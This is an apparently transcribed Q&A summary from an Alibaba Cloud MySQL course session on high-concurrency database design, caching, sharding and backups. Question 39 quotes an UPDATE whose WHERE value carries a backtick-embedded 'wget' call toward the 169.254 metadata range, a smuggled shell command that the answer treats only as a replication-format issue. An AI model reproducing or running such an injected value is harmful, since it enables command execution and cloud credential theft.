【七天深入MySQL实战营】答疑汇总Day2 MySQL 高并发场景实战-阿里云开发者社区

开发者社区> 阿里云数据库> 正文
登录阅读全文

【七天深入MySQL实战营】答疑汇总Day2 MySQL 高并发场景实战

简介: 【开营第二课,MySQL 高并发场景实战】 讲师: 凌洛,阿里云数据库解决方案专家。 课程内容:高并发场景下MySQL数据库的技术挑战;如何用RDS MySQL支撑高并发业务;高并发场景数据库运维最佳实践。 答疑汇总:特别感谢班委@李敏 同学

【开营第二课,MySQL 高并发场景实战】
讲师: 凌洛,阿里云数据库解决方案专家。
课程内容:高并发场景下MySQL数据库的技术挑战;如何用RDS MySQL支撑高并发业务;高并发场景数据库运维最佳实践。
答疑汇总:特别感谢班委@李敏 同学

  1. Mysql 一年应该是什么水平?需要知道哪些知识?
    A:个人学习/接触 Mysql 一年的话,最主要的还是学习基础知识,如果你接触的项目够多的话,你会在实际的项目当中,获得实际的一些和业务、技术结合的经验,一年的话,最开始还是要从基础知识开始学

  2. 最大连接数1000,高并发指多大的活跃连接数?最大连接数是 1000 的话,根据 rds 的规格来说的话,还是比较低的。在高并发的情况下,指多大的活跃连接数?
    A:活跃连接数,和 CPU 的核数是相关的,建议将最大活跃连接数不超过 CPU 核数 3 ~ 4,这个时候它的性能是比较高的。经常有用户会混淆“最大连接数”和“活跃会话数”这两个概念,最大连接数是指你的应用 应用连接池 * 实例上有多少个 DB,不超过最大的连接数的数量(这句话不太好整理),活跃会话数是指正在干活的数量,这个数量不是越多越好,我们要保证活跃会话要尽可能少,这样的话,mysql 才能提供最高的一个性能(理解各种连接数:https://developer.aliyun.com/article/683460

  3. Mysql 中分表时,需要组合表查询时,如何做到高效?
    A:是不是想问多维查询的概念啊?通常分表了以后。。。(中断,调试了一下连麦)mysql 在分表时,如何做到组合表查询,neng zuodao 高效,其实对于一张单表上面来说的话,它比较容易控制,比如说有主键、唯一键,在一张表上就不会出现,和其他表的关联,就不说了,如果一张表有超过1亿条的记录,就要考虑分库分表了,在分库分表的时候,如果两张表都超过一亿,这位同学,是不是想问多维查询的概念啊?如果想避免多维查询的话,这个时候还是要做数据冗余的,不是说数据表设计符合三范式越好,如果分库分表了以后,尽量还是要避免组合表的查询,特别是在分裤分表了之后,避免不了的话,那两个表join的时候,在关联的字段上面还是要建索引的。在两个表查询的时候,如果查询关联字段不太多的话,还是要做适当的字段冗余)。还有一个巧思是说,比如淘宝系统买家库和卖家库,因为只能按照一个维度来分表,如果按买家分表,但是按照卖家来查询,其实是用不上分库分表的字段,如果你是要用卖家的数据的话,它其实有几种方式,一种方式是做数据冗余,还有另一种方式是在现有表的基础上,相当于是存一个映射的表,相当于你还是要做数据冗余,但是数据冗余是用的不同的的方式,你可以全量地把买家表的数据同步到卖家表,它的数据是一样的(买家表的数据和卖家表一样),只不过你是以另外一种维度(卖家)来分表,这以空间换时间的概念;另一种方式就是,你可以没有,另外一个以卖家维度分表的那一份完整的冗余数据,但是你可以冗余它的 ID,在现有表的基础上,只需要买家表和卖家表对应的id就可以了,这是一个比较轻量级的数据冗余,如果要是用 drds 的话,可以用全局二级索引,我刚才说的那个概念其实也类似于全局二级索引,drds 里面是有这个概念的,你在 drds 创建索引的时候,官方文档是有的。(Polar-X 2.0的全局二级索引 https://help.aliyun.com/document_detail/182180.html?spm=a2c4g.11186623.2.2.1bb148c1p28A4b ;)

  4. Mysql 5.7 使用 MHA 无损复制,是否有丢数据的可能?
    A:还是要看 5.7 使用的架构,三节点的企业版本,双节点的开源社区版本,如果是双节点,以双1的参数(innodb_flush_log_at_trx_commit=,sync_binlog=1)启动的话,原生的社区版是有丢一个事务(数据)的可能的,如果是用 rds 企业版或者金融版,这种的话是不会丢数据的。

  5. Mysql 中单表大约一亿行数据,只有首列(自增列)为主键,这种设计是因为高并发吗?高并发在表设计上有哪些需要注意呢?
    A:如果只有自增的列为主键,这种方式,如果是只有自增的列作为主键,是有助于高并发的,但又不完全是因为这个。还有哪几种可能会影响高并发的,最主要是内存的缓存命中率,就是 buffer pool 的命中率,如何才能在有限的 buffer pool 里面,存储足够多的数据,那就需要我们在数据库设计的时候注意,因为 buffer pool 里面缓存了索引和数据,buffer pool 的命中率是一个方面,还有一个方面,是在磁盘空间里面,mysql 的 innodb 表是索引组织表,如果是换做一个字符串为主键的话,相当于每个二级索引上都要挂一个这样的叶子结点,不管是它的磁盘空间的使用会增长,buffer pool 里面存储的数据并不是那么多。首列作为主键只是一个参考,我们需要从那几个方面去考虑高并发,最主要的还是要考虑缓存命中率,还有就是底层的数据结构,无论是做查找的时候,还有是在缓存命中率的时候,是否有助于...。为什么会涉及缓存,一级一级来,刚才提到过的 redis,其实也是提升缓存的命中率,对于mysql 来说,buffer pool 也是一个缓存,内存的命中率,怎样才能提升内存的命中率,也是从设计的时候考虑的一个问题。(buffer pool 的大小是可以配置的,内存空间在启动的时候立即分配完成了,老师所说的更多的数据,有时候需要按照更多的记录之类的去理解)

  6. Mysql 的读写锁怎么使用更好?读写锁的使用场景?
    A:如果是单个语句来查询的话,数据库内部自己就控制了,对于应用来说,就不用单独来控制,如果涉及到事务,比如事务,我见过事务最多的是,一个事务里面有一千条语句,那在写事务的时候就要注意了,特别是在核心的事务里面,特别是在减库存的场景里面,你的行锁的释放时间和事务的释放时间是有关系的,我们在使用事务的时候,还是要尽量地减少行锁持有的时间,如果事务里面有读的话,如果业务上允许的话,把它移到外面,尽量地使这个事务足够的少,这个就是事务里面的控制。

  7. 高并发的时候,频繁 crud,容易读到旧数据应该怎么办?
    A:对于数据库来说,底层的 MVCC 已经保证了数据一致性,你问的应该是缓存里面,比如 redis、memcache,从缓存读到旧数据应该怎么办?基于这个问题,我们还是要基于实际的应用场景出发,比如减库存,涉及到交易这种场景的话,以哪个(数据)为准?以缓存的为准,然后把它同步到数据库里面;还是以数据库里面的数据为准,到数据库执行的时候,还是要做一个判断的,如果是想要严格一点的话,还是要以数据库为准;如果要是以数据库为准的话,相当于是你从缓存里面读到既有的数据,你的缓存怎样才能保证100%命中?群里同学也有提到说,redis 那个链路更新的延迟,我们可以算一下,如果要是用这种方式的话(详情见 PPT 17页),相当于是 rds 写 binlog,再同步到 redis 的话,这个可以控制在百毫秒左右,一方面是,db 在返回的时候,我么有 retina 那个补丁,redis 返回了之后,应用程序可以直接拿这个更新 redis,下游链路并不是每次更新 redis 都成功,我们还有一个数据补偿的任务,可以通过 binlog 这种方式,实时地更新 redis 这个链路,这个并不是在几秒,而是在百毫秒内,可以把这个缓存给更新掉,这样的话,增删改查的数据,就是在百毫秒内,redis 和 db 的数据,控制是最新的。

  8. 大流量的情况 MGR,如何保证从库数据的实时性,老师您开始给出的流量峰值数据库用的什么架构?
    A:MGR 的内容见第一个课。峰值数据库的架构有两种,一个是用rds 的分库分表;还有一个是,比较小的用户的话,单个的 rds 就可以支撑。

  9. SSD 盘下参数 innodb_io_capacity 建议设置多大?
    A:根据不同的 SSD 盘的性能来决定的,对于 rds 来说,不同的实例,io_capacity 是不一样的。自建的话,尽量不要超过盘的...,就要看对物理机分割方法,比如一个物理机上面,分割成很多个实例,是把 io_capacity 严格地区分?还是要尽量用物理机的性能?还是要看物理机资源隔离的方式。总的来说,同一个物理机上所有实例 io_capacity 的总和,不要超过物理机的 iops 的性能,比如说,物理机上所有实例都严格地隔离,一共有 1w 个的 io_capacity,四个实例,这个 io_capacity 要如何划分,均分?还是不限制,让它充分地使用物理机的 io_capacity,这些都是有关系的。

  10. 5.7 在使用过程中,占用内存会逐渐增大,调整思路是怎样的?
    A:如果是内存逐渐增大的话,不排除某些版本存在内存泄漏的可能性,这种还是要持续观察,内存逐渐扩大,有几种可能性,比如表里面有 table open cache,不建议设置过大,使用过程中,哪些会涉及到内存增大的几种情况,就要看一下这些语句,比如说会话里面的几个,就是它的变量,设置 buffer pool 的时候,基本上上限就设置为 75% 这样的一个值,其他几个变量,就是语句里面的会话,比如 join buffer,和会话相关的变量,语句里面是不是有超大的使用内存的情况?刚才几个问题,和 ppt 没有多大关系,就没有演示ppt。PPT 20页中展示的,刚刚提到和内存相关的几个参数,innodb_buffer_pool_instance 是全局的,和会话相关的 join_buffer_stats 和 sort buffer,看是不是有 order by、group by 这样一系列的、会用到内存的几种情况,还要再看刚才提到的 table open cache 是不是设置的比较大,如果设置的比较大的话,就调小一点,这种就是要来回调,来回观察,不断看它调的效果。(参数调优的内容详情见 PPT 20页)

  11. 如何扩展并行写,除了分表还有别的方法吗?
    A:并行写,有几种提升写的性能的方法,比如你可不可以把它,把这些请求先存在应用的机器上,然后再批量地刷到数据库里面,这也是一种方法,就是把小批量(这里应该是口误)的请求换成批量的请求,小的一条条的,单条的请求,在应用端先存起来,再批量地刷到 db,这是一种方法,就不一定要分表;还有另外一种情况,就是像我们的 polar db 一样,把底层的存储,给它并行,这样的话也是一种方法。

  12. 阿里云售卖 AliSQL 吗?我没找到,还是要自己来搭建?
    A:售卖的,alisql 有一部分是开源的,在社区都可以找到开源的源代码,现在售卖的 rds 的 mysql 里面,已经包含了 alisql 的特性,比如说刚才提到的库存和线程池,这些补丁都是其中这一,我们写了十多个补丁,然后你都可以用起来。(详情见 PPT 24页)

  13. 能不能讲讲阿里的系统架构?
    A:阿里做双十一的一个主要步骤,他的架构其实和阿里云官网上售卖是一样的,当单个实例不足以支撑的时候,可以用 drds ,也可以升级成 polardb。我们内部也是用了 das(详情见 PPT 12页) 和 dms,我们都是用的,基本上,我们是把内部我们用得很不错的补丁和场景,这些我们都是经过双十一验证过的,我们才把它们放到阿里云上售卖,这个和我们用的系统的架构是类似的。

  14. 热点数据更新具体要怎么做避免死锁之类的问题?
    A:热点数据更新和死锁是两个问题。热点更新的方法已经介绍了,而且性能的提升可以看到(PPT 25页)。避免死锁之类的问题,要分析一下 死锁产生的几种情况,就加锁的顺序,无论是同一个表里面,同一个页里面加锁的顺序,两个不同表里面加锁的顺序,出现相互的索引,这种情况才会出现死锁,热点更新和死锁并没有直接的关系,这还是要分成两个情况来看。

  15. 能讲讲 rds sql 限流的实现原理不?
    A:在 sql 解析的时候,捕获你设置的,das 的限流只是界面上的一个功能(PPT 36页),底层是需要内核来支持的,这个是内部双十一场景遇到的,觉得对大家比较有用,确实很多用户反馈说比较实用。它这个原理是,我们捕获到 sql 限流,是没有实际会话对,这里面在 show processlist 非常繁忙的情况,有大的 sql 的话,就可以捞到,就是可以设置限流,设置一系列关键字,在 server 层解析到关键字之后,设置并发,关键字匹配上了之后,就可以根据这个限流了,实现上其实是比较简单的,在 sql 解析层做的。

  16. 请问监控数据库字段变化的 sdk 框架有什么推荐?
    A:ibetas 这种吗?

  17. 热点数据更新从 rds 到 redis 是插件还是接口?
    A:是想问 redis 怎样才能保证缓存的命中率,用的是 dts 数据订阅的一个功能,接收 binlog,通过 dts 订阅的一个组件,更新到 redis 里面,可以理解为一个插件。

  18. rds redis 数据怎么保持一致性呀?
    A:传统的缓存和数据库更新的几种模式:读缓存失效 + 写缓存失效。读缓存失效就是从缓存读不到数据,这个缓存就标记为失效;写缓存失效。如果想保证缓存命中率的话,因为 redis 如果要是撑不住的话,这个实例(口误?流量)打到 rds,也是撑不住的,这个情况的话,就尽量保证 redis 的缓存命中率,曾经历史上,也发生过机器,redis 缓存不命中,直接就把 DB 打挂的情况,就是有出现过,所以后面我们才出了这样一个保证缓存命中率的方案,如果要是频繁地更新的话,对于一般的设计架构,它是保证不了,特别是双十一库存更新这样一个场景,频繁写,保证不了缓存命中率 100% 的,我们是怎样做到的,就是刚才提到的方法,这就是一个非常好的小巧思。

  19. Redis 会自动失效吗?
    A:这个设置的自动失效,和用户主动更新,频繁写的情况下,失效的事其实没有可比性。用户频繁写的话,用刚才被动的方式,无论是读还是写,还是失效的时间,都是不能保证缓存命中率 100%,如果要是设置失效时间来,它还是会把流量打到DB的,我们设计这种模式,保证缓存命中率 100% 的这种架构,就是为了保证在 redis 不命中的情况下,不要把 redis 打挂。

  20. 请问之前有关于 5.6、5.7、8.0 性能的测试,那稳定性呢?
    A:从 oracle 迁移到 mysql 能否直接上 8.0?都是经过了一系列的稳定性测试,才把它放到阿里云上面的。迁移到 mysql,能否直接上 8.0?从 oracle 直接迁移到 mysql 8.0,还是要验证一下的,直接迁移还是要看语法兼容不兼容这一系列的,比如说 oracle 里面的组件、ser,这些在 mysql 里面是没有的,还有一系列的,你在 orcacle 里面有没有存储过程这样一类的,相当于数据库的异构,不建议直接迁,还是要经过详细的评估,还是是要看功能、语法,语法兼容不兼容,msql 在视图的方面支持得也不太好的,很多 oracle 的用户都习惯用存储过程和视图的,我们不建议把存储过程写到 mysql 里面的,这种是要经过改造的,直接上的话,是有一定风险的。

  21. mysql分表后,如何对所有子表的联合数据保证高效查询?
    A:联合数据是什么含义,分表后,如果不涉及多维查询的话,和其他事一样的,所有子表的查询语句,和单表没有区别,你在问的是有数据聚合的情况,count、sum、group by,你是问的这种吗?

  22. 只用 rds 不用 drds,可以做到高并发吗?
    A:可以,自己可以设置,甚至开发一个 drds 的中间件,这是一种情况,或者是用其他的代理,如果要是用其他的代理,就要验证多维查询,所有子表的联合数据保证,代理在和 rds 交互的时候,网络延迟是一个要考虑的方面,每一个 rds 都是性能上限的,单个 rds,如果设计得足够充分的话,是可以把单个 rds 的性能做到充分的高,单个 rds 的性能,我们做了基准的测试的,最高是可以达到十多万的(PPT 10页),16C64G不是最大规格,可以做到 6W,还有独享物理机(形态)的,是可以做到十多万的,主要看系统的峰值有没有超过单个 rds 性能的峰值,整个数据库的架构设计,还有真个系统的架构设计,能否充分地把数据库的性能发挥到最大化,这种都是有关系的,后面再详细交流。因为之前见过有用户,数据库设计中,索引设计得不是很合理,就不能充分利用数据库的性能,应用和 db 交互的架构,刚才提到的库存里面,事务里面语句的顺序,都是和这个有关系的。所以要想做到高性能,不是一个点就可以做到的,需要从整个架构,性能测试,数据库的测试和缓存的设计,都是有关系的,甚至一个事务里面语句的顺序对会影响到你的性能。

  23. redis内存数据有限 读的数据容量有限制吧?
    A:redis 也是有规格限制的

  24. 有推荐的分库架构吗?
    A:对于阿里云来说,最常见的就是 drds,现在叫做 polar-X 2.0。

  25. 秒杀场景下,服务器在北京,新疆 和 北京同时抢,怎么保证两边延迟的公平性和防止超卖?
    A:就要看你这个数据是一份还是多份,如果要是一份的话,就没有必要考虑北京和新疆的这样一个问题,服务器在北京,新疆 和 北京同时抢,那就要看最后哪个请求先到 db,不一定北京的请求先到北京。北京的应用的请求,因为你数据库的服务器是在北京,看这两个谁先在数据库里面,数据库里面它也不能保证,不一定能保证是完全的按照先到先得得来的,两边不一定能保证延迟的公平性,防超卖,是库存的一个逻辑,为什么会出现超卖,在业务场景里面,出现超卖就是,实际售出的数量,比商家库存的数量要多。可以网上搜一下,2012 年我们的双十一,出现过超卖的问题,后面经过一系列的改造,才把这个超卖,变成 0 超卖的,这个是一个小专利,可以单独交流一下,解释起来,时间需要比较久,简单来说,防止减下来的数量,实际减的时候,不要超过商家设置的库存的数量就 ok 了。

  26. 为什么mysql不建议使用存储过程?
    A:mysql 在这个方面做的不太好,大多数用户一上云的情况下,都会有考虑下云的可能。有的用户在实际定位问题的时候,往往都是先从应用端开始定位,有的时候会忽略存储过程这样一个逻辑存在,这种从应用的维护和设计上面来讲,不建议使用存储过程。

  27. 上亿数据并且有聚合的情况?
    A:具体还是要看业务的需求量,如果在上亿的情况下,做了分库分表,做了多点存储,不管使用哪些架构,只要是把这些数据给分开来,再做聚合的时候。业内比较常见的是,看业务请求是轻量级的,还是比较重的。如果是比较重的业务聚合的情况下的话,推荐使用 adb,它会把请求下发到各个节点,各个节点是使用 MPP的架构;如果是有轻量级的聚合的情况下,polar-X 2.0 也就是 drds 也是可以胜任的,具体要看业务的请求,数据量,以及对时间的要求是多少。

  28. Mysql有个表特别大,40多G,请问单表大小多少保证性能好一些(有大字段)?
    A:就是按照经验值来说,500W,是按照存储的行数来说,是指 500W 行,还是要看我们的主键设计以及业务对数据库的性能要求,就是按照经验值是按照行(的维度),那么按照大小来说的话,单表不要超过 10G。有大字段的话,如果是要保证性能更好一些,比如说我们刚刚提到的写库存的场景,我们就要保证,对于 innodb 来说,它写 binlog 是全量的字段更新,而且 binlog 还要再传到备实例上面,要考虑大字段是不是会被经常更新的,如果有,就是需要把大字段给隔离出来的。

  29. 在刚才读redis 写mysql的场景 mysql的数据库容量也受限制了吧?因为mysql存的太多会撑爆redis?
    A:并不是把 mysql 所有的数据都存到 redis 里面,把热数据存到 redis 里面就可以了。我们是要提前算一下的,我们算容量的时候,不止是要算数据库的容量的时候,还要算 redis 的容量。算 redis 容量的时候,我们也是要算一下它是有多少热数据,然后这个量是有多少,也是要充分地扩容 mysql 的量的。

  30. 如果有多个大字段,一般设计表的时候是把大字段放一个表还是分散的好?
    A:如果这个表经常要更删改查的话,而大字段又不经常修改的话,那你就要把它分开;如果整个表,包括这个大字段修改都不是频繁更新,那你把它们放在一起也是 ok 的。

  31. 谁先到这个应该是自己的应用的决定的吧?
    A:应用决定的吧。

  32. 数据库全量备份会影响写操作,有什么好的方式进行数据备份吗?
    A:rds 的备份,一般是在备库上执行的,所以这个也不会影响到写操作。不得不在主实例上备份的时候,这种情况下才可能会影响。数据库全量备份,有好几种备份工具:一个是开源的 Xtrabackup,一个是用 dbs,就是数据先用逻辑备份,备份出来一份全量数据,再用增量 binlog 的方式同步到 oos,这种也是一种方式。如果你要是想不影响写操作的情况,尽量地保证在数据库备库上备份的时间。还有一种,备份可能会失效,就是主备延迟,在数据库设计的时候,和请求量都是有关系的,就不仅是备份工具/方式的问题。如果保证主备同步不中断,没有延迟,备库的备份都是有效的,这样的情况下,就不会到主库,主实例上去做备份,就不会影响到写操作。

  33. RDS主备异常的时候会在主库备份的呀?
    A:rds 异常的时候,是会在主库备份的,这种概率非常低,什么时候会影响写,就是在 flush 的时候会卡一下。如果要是用 Xtrabackup,在主库备份的时候,是会卡一下的,如果是用 Xtrabackup 的话,没有比较好的方式。另外一种备份方式dbs,经常把全量数据、增量数据同步,这种方式是不会影响的,因为它先是用逻辑在同步 binlog,这种不会suo。

  34. Double Sync 在大批量数据操作的时候,IO线程容易down掉,奇怪,新版本RDS还有这问题吗?
    A:这个情况,我值班的时候没有遇到过,这个情况发生的概率比较低,如果有的话,我们也是有修复机制的:stop slave + start slave。

  35. 还有percona 的xback?
    A:对,这种备份工具也有。

  36. rds和polar db,ocean base区别?
    A:价格看起来差蛮多?这种架构我不是很了解,你们可以看看官网上的对比,sa 或者是商务经理,跟他们问一下价格上面的问题。

  37. 监听数据的修改 sdk,有哪些 sdk,能具体说一下吗?
    A:你是说数据库增删改查的那个吗,其实就是 dts 的数据订阅。

39.由于开发不规范,导致有的sql在主库执行没问题,但是在从库回放sql的时候回放失败(比如说更新的条件多了乱七八糟的东西 WHERE id='430753 `wget http:// 169.254 ) 导致主从同步失败,一般我是告诉开发他们这个sql里有开发不规范的问题,他那边处理完了 我这个才能解决问题。本地自建的主从mysql,主从同步失败了 失败报错是update 语句后面where条件问题,这个比较被动,请问老师还有别的方法吗?
A:如果是sql线程回放中断,你的主从同步设置的是什么模式?statement?mix?row?设置row没问题,statement?mix?不严谨

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
阿里云数据库
使用钉钉扫一扫加入圈子
+ 订阅

帮用户承担一切数据库风险,给您何止是安心!

官方博客
链接